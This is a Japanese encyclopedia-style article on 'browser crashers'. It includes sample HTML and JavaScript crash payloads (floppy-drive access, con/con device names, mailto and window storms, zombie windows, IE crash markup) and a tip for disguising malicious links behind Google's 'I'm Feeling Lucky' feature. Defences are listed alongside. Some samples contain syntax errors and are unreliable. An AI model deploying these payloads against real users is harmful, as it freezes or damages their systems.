ブラウザクラッシャー
ブラウザクラッシャーとは、ウェブブラウザやオペレーティングシステム(OS)の仕様・バグを悪用するスクリプト言語または HTML 文書を記述した ウェブページのこと。
ウェブブラウザで当該ページにアクセスする事により、ウェブブラウザや OS の動作に異常を発生させる。「クラッシャー」はソフトウェアをクラッシュ(英語: crash, ソフトウェアの異常終了の意で用いられている)させる動作を意味している。コンピュータウイルス等とは違いソフトウェアの構成やハードウェアに直接の破壊的な影響を及ぼす場合もある。(FDDアタックなど)
ブラクラと略称されることもある。また、派生して精神的ブラクラ(マインドクラッシャー)という言葉も使われている[1][2]。
目次 |
[編集] HTML 記述型
HTML を不正な形で記述することによってブラウザに不具合を起こさせる。JavaScript が作動しない環境でも作動する。
[編集] FDD アタック・CD-ROM アタック
フロッピーディスクドライブ(FDD)へのアクセスを繰り返す、CD-ROM ドライブが開閉を繰り返すなど、周辺機器にアクセスさせるマークアップを多数記述し、ブラウザの反応を遅くする。場合によっては周辺機器に物理的影響を与える。特にフロッピーディスクは機器への負担が大きい。
サンプルソース
<html>
<head><title>FDDアタック</title></head>
<body>
<img src="file:///A:/example.001">
<img src="file:///A:/example.002">
・
・
・
<img src="file:///A:/example.100">
</body>
</html>
Windows 上にて、上記ソースを HTML としてブラウザが読み込むと、通常 A ドライブであるフロッピーディスクドライブがガチャガチャと動く。
- 防御策
- フロッピーディスクドライブのドライブ名をA以外にする
- URL の前に
"view-source:"をつけてソースを確認し、imgタグのsrc属性にfile://が含まれていないか注意する。
-
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
view-source:をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
- FDD アタックが PC の A ドライブにアクセスし続けると、FDD が破損することがある。だが、FDD に最初から FD を挿入しておくと、破損は回避できる。
近年の市販パソコンにはフロッピーディスクドライブが標準装備で無い(USB 接続の外付けドライブ)ものが出てきている。このようなパソコンには A ドライブが存在しないため、フロッピーディスクドライブアタックは効かない。なお、Windows 以外のプラットフォームは影響を受けない。
[編集] テーブルネスト
table タグの中に table タグを入れ、さらにその中に table タグを入れ、これを故意に深くネスティングさせたもの。古いブラウザ、特にバージョンの古い Netscape Navigator(4.x あたりまで)ではフリーズしてしまう。意図しなくてもページレイアウトのために table タグを多用した場合、同じことが起こりうる。
サンプルソース
<html>
<head><title>テーブルネスト</title></head>
<body>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table border="1"><tr><td>
<table><tr><td>Sample</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</td></tr></table>
</body>
</html>
- 防御策
- CSS(スタイルシート)への対応が不完全な古いブラウザしか対応できないパソコン環境(Windows95, MacOS8.x あたりまで)の使用を止め、新しいブラウザが動作できるパソコン環境に移行する。
- URL の前に
"view-source:"をつけてソースを確認し、tableタグの多重入れ子が含まれていないか注意する。
-
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
view-source:をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
[編集] mailto ストーム
「メイルトゥストーム」と読む。電子メールの作成画面を起動するマークアップを多数記述し、メール作成画面を多数開かせる。結果、閲覧者のコンピュータやブラウザを過度のリソース消費によりフリーズさせる。本来は<a href="mailto:~">のように書き、このリンクをクリックすると、ブラウザに設定されたメールクライアントが起動する。これがmailtoストームの名前の由来である。
サンプルソース
<html>
<head><title>mailtoストーム</title></head>
<body>
<img src="mailto:001@example.org">
<img src="mailto:002@example.org">
・
・
・
<img src="mailto:100@example.org">
</body>
</html>
上記ソースをHTMLとしてブラウザが読み込むと、メール作成画面が 100 個表示される。
- 防御策
- メール作成画面の同時表示個数に上限を設定できる電子メールクライアントを使用するか、ブラウザで使用する標準メールソフトを設定しない
- URL の前に
"view-source:"をつけてソースを確認し、imgタグのsrc属性に"mailto:"が含まれていないか注意する。
-
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
view-source:をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
- ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では
電子メールクライアント側で対策(メール作成画面に上限を設けるなど)されていることも多い。
- mailtoストームに類似する誤作動
- mailtoによって起動するメールクライアントを未設定にしていた場合、ブラウザがmailtoによって起動するアプリケーションを探すが、設定していないため当然みつからない。そのためブラウザの処理がループし、ブラウザが60 - 100個ほど開いてしまう。また、ブラウザに設定したメールクライアントが一見設定されている状態でも、なんらかの影響によって未設定とみなされ、上記と同様の現象が発生することがある。その場合は、一旦ブラウザのメール設定を変更し、再度戻すことで現象は回避できる。
[編集] concon クラッシャー
concon バグと呼ばれるバグを利用したもの。Windows において「予約デバイス」と呼ばれる特別な意味を持つファイル名やフォルダ名にアクセスさせ、OS を停止させる。CON, AUX, NUL などが該当。
サンプルソース
<html>
<head><title>conconクラッシャー</title></head>
<body>
<img src="file:///c:/con/con/con.con">
<img src="file:///c:/nul/nul/nul.nul">
<img src="file:///c:/lpt1/lpt2/lpt3.aux">
</body>
</html>
- 防御策
- Microsoft から出されているパッチ(修正ソフト)をインストールする
- Windows 9x系(Windows Me まで)の OS を使用しない
Windows NT 系列(Windows 2000 や XP など)や Windows 以外のプラットフォームは影響を受けない。
[編集] Telnet ストーム
サーバとの通信に使われるtelnetサービスを悪用してDOS画面に似たプロンプトを開く。
サンプルソース
<html>
<head><title>telnet ストーム</title></head>
<body>
<iframe src="telnet://example.org:80"></iframe>
・
・
・
</body>
</html>
- 防御策
- 該当サービスのスタートアップの種類を停止にする
[編集] クラッシュミー
詳細はcrashmeを参照'
このブラクラは、「JS_SPAWN.A」と呼ばれる。ページにアクセスすると、緑色のニコニコマークを表示したウィンドウを無限に 開き続ける。ユーザー側がウィンドウを一つでも閉じると、新規ウィンドウを30個開く。 トロイの木馬として分類されているが、レジストリの改変やファイルへの依存を行わない。
サンプルソース
- 対応策
- Ctrl+Alt+Deleteキーで、タスクマネージャを開き、「プロセス」タブから「iexplore.exe(Internet Explorerの場合。Mozilla Firefoxを使用している場合は「firefox.exe」)」を終了する。
(Windows 98系OSの場合、「強制終了の選択」というダイアログが表示されるので、そこから使用しているブラウザをクリックして強制終了する)
- 再起動する。
- target="_blank"(新規ウィンドウ)で開くURLを、新規タブで開く設定に変更する(タブブラウザ、タブブラウジングの場合)。
[編集] You are an Idiot
詳細はYou are an idiotを参照
[編集] JavaScript 記述型
クライアントサイドのスクリプトであるJavaScriptを悪用したもの。HTML 記述型と複合させたものもある。JavaScriptの作動しない環境では作動しない。そのため、JavaScript型は全てJavaScriptを無効にすることによって回避することが出来る。
[編集] JavaScriptループ型
JavaScriptを使用している場合、処理をループさせている場合が多い。なぜなら、HTML記述型の場合、有限回しか実行させることができず、さらにソースも長くなるのに対し、JavaScriptを使用すれば数行で何回でも実行させることができるからである。
本項では、無限にループさせるものとして話を進める。
[編集] JavaScript の無限ループ
スクリプトが永久ループすると、CPU の使用率が 100% になりパソコンの動作が非常に鈍くなる。
サンプルソース
<html>
<head><title>JavaScriptの永久ループ</title></head>
<body>
<script type="text/javascript">
var i = 0;
for(;;) { i++; }
</script>
</body>
</html>
- 防御策
- 特別な防御策は特になし
- 最近のブラウザには一定回以上ループすると警告を出してくれるブラウザがあるので、それを利用する。
[編集] 各種ウィンドウ無限表示型
大量にウィンドウを開くと、パソコンの動作が非常に遅くなる。場合によってはブラウザやパソコンがフリーズすることもある。最近のブラウザには標準でポップアップブロックが装備されているものが多いので、実行されにくくなってきた。
サンプルソース
ウィンドウストーム
<html>
<head><title>無限ウインドウオープン</title></head>
<body>
<script type="text/javascript">
for(;;) { window.open("test.html", "_blank", "width=200,height=200"); }
</script>
</body>
</html>
mailtoストーム
<html>
<head>
<script type="javascript">
<!--
for(ver i=1;i>0;i++){
document.write('<iframe src="mailto:'+i+'"></iframe><br>');
}
//-->
</script>
</head>
<body>
</body>
</html>
その他の例(document.write('〜');の〜の部分にコピー・アンド・ペーストして使用)
<img src="file:///A|/'+i+'.jpg> →FDDアタック
<iframe src="view-source:h'+'ttp://www.yahoo.com"></iframe> →ソースストーム
<iframe src="f'+'tp://www.yahoo.com"></iframe> →ftp接続ストーム など。
- 防御策
- ポップアップブロックを設定できるブラウザを使用する
- タブブラウザを使用する
- ウィンドウ同時表示上限数が設定出来る物がある。
- もし実行されてしまっても、ソフト自体を終了させれば簡単に対処出来る。
[編集] 無限アラート
ダイアログボックスを多数または無限回開かせる。
サンプルソース
<html>
<head><title>無限アラート</title></head>
<body>
<script type="text/javascript">
for(;;) { alert("無限アラートです。"); }
</script>
</body>
</html>
- 防御策
- タスクリストを開き、閉じる。
- Operaなどの一部のブラウザではアラートのなかに「このページのスクリプトを中止する」というチェックボックスがあるものもある。
[編集] ×ストーム
画像を表示できなかった時の×マークを大量に表示させ、フリーズさせる。無限に指定するものや、多くの数を指定してフリーズさせるものなどある。
サンプルソース
<html>
<head>
<title>×ストーム</title>
</head>
<body background="mugen()">
<script language="JavaScript">
<!--
function mugen(){
for(;;){
document.write("<img src="'+ i +'.swf">");
}}
// -->
</body>
</html>
- 防御策
- フリーズする前(ページを読み込む前)にウィンドウを閉じる。
[編集] フルスクリーン化
ブラウザをツールバーなしの全画面表示にしてしまう。
サンプルソース
<html>
<head><title>フルスクリーン化</title></head>
<body>
<script type="text/javascript">
window.open("test.html", "_blank", "fullscreen=yes");
</script>
</body>
</html>
- 防御策
- ポップアップブロックを設定できるブラウザ(Windows XP SP2 の IE6、Firefox など)を使用する
- タブブラウザ(Firefox 、Microsoft Internet Explorer 7など)を使用する
- Windows系の場合、[Alt]+[F4] を押すことによりブラウザを閉じることができる。Mac の場合は [コマンドキー]+[Q] でブラウザを終了できる。
最近のブラウザは標準でポップアップブロックに対応しているため、実行されにくくなっている。
[編集] ゾンビウィンドウ
何度閉じても、ゾンビのごとく復活するウィンドウのことをいう。消した数よりも開くウィンドウが多い場合もある。この場合、ウィンドウがねずみ算式に増えることになる。悪質なポップアップ広告にしばしば使われている。
サンプルソース
<html>
<head>
<title>ゾンビウィンドウ</title>
<script type="text/javascript">
function Zombie() {
window.open(location.href);
}
</script>
</head>
<body OnUnload="Zombie();"></body>
</html>
- 防御策
- ポップアップブロックを設定できるブラウザを使用する。
[編集] JavaScript実装のバグをついたもの
特定のブラウザーのJavaScript実装のバグをつくタイプ。本項目追加現在(2007年3月1日)、以下がInternet Explorerでクラッシュするようである。
サンプルソース
<html>
<head>
<title>ゾンビウィンドウ</title>
<script type="text/javascript">
for(x in document.write){document.write(x)}
</script>
</head>
<body>Sorry, IE. You can't see me!</body>
</html>
- 防御策
- 他のブラウザを使う
[編集] ブラウザのバグをついたもの
特定のブラウザのバグをつくタイプ
サンプルソース
- IEがクラッシュする
<html> <head></head> <body> <input type crash> </body> </html>
- IEがクラッシュする
<html> <head> <STYLE>@;/*</STYLE> </head> <body></body> </html>
- IEがクラッシュする
<style>*{position:relative}</style>
<table>
<input>
</table>
[編集] I'm Feeling Lucky ブラクラ
I'm Feeling Lucky ブラクラとは、googleのトップページの、「検索」ボタンの横にある「I'm Feeling Lucky」ボタンを悪用したブラクラのことである。I'm Feeling Luckyとは、Googleの機能の一つで、検索結果の一覧を表示せずに直接検索結果のトップに挙がったWebページにジャンプする機能のことであるが、その機能を利用して、ブラクラサイトが検索結果のトップに表示されるような検索語をリンク先のURLに仕掛けるとクリックした者をブラクラに誘導することが可能になる。
掲示板などにリンクが貼られていた場合、普通のURLの場合なら多少怪しいと思うかもしれないが、I'm Feeling Luckyを使ったURLの場合、ttp://www.google.co.jp/search?q=○○&btnI=I%27m+Feeling+LuckyというようなURLになり、先頭にgoogleがあることから安心してクリックしてしまい、ひっかかりやすいとされている。
また、I%27m+Feeling+Luckyの部分は省略でき、さらに&%62%74%6e%49とURLエンコードもできるため、偽装が容易である。
- 防御策
- 「google」だけで安心せず、URLに「I'm」、「Feeling」、「Lucky」などの文字が含まれていないかどうか見る。
[編集] ブラクラを踏まないようにするための対策
ブラクラを踏まないようにするためにも、次のような対策を行うべきである。
- タブブラウザを使用する。
- 正確には事前の予防策ではなく、ブラクラを踏んだ際の緊急回避手段として有効。通常のブラウザだとウィンドウを手動でこまめに閉じなければならないため、機械的な増殖に対応しきれないケースが多いが、タブブラウザの場合はブラウザひとつを閉じるだけで済むケースがほとんど。
- アクセスする前にソースを確認する。ソースの見方が分からない場合はブラクラかどうかや安全度の判定できるものを利用すると良い。
-
- 怪しいサイトにアクセスするときは、JavaScriptを切り、ブラクラチェッカーやソースチェッカーなどで調べる。
- リンク先をファイルにダウンロードし(右クリック―「対象をファイルに保存」でデスクトップにでも)、ソースコードを調べる。
- Gecko系のブラウザを使用している場合は
view-source:スキームを使ってページを表示する前にソースを確認する。
- ブラウザの設定でポップアップを無効にするように設定する。
[編集] 関連項目
[編集] 脚注
- ^ 「マインドクラッシャー」 kotobank、2009年12月9日閲覧。
- ^ 「マインドクラッシャー」 IT用語辞典バイナリ、2009年12月9日閲覧。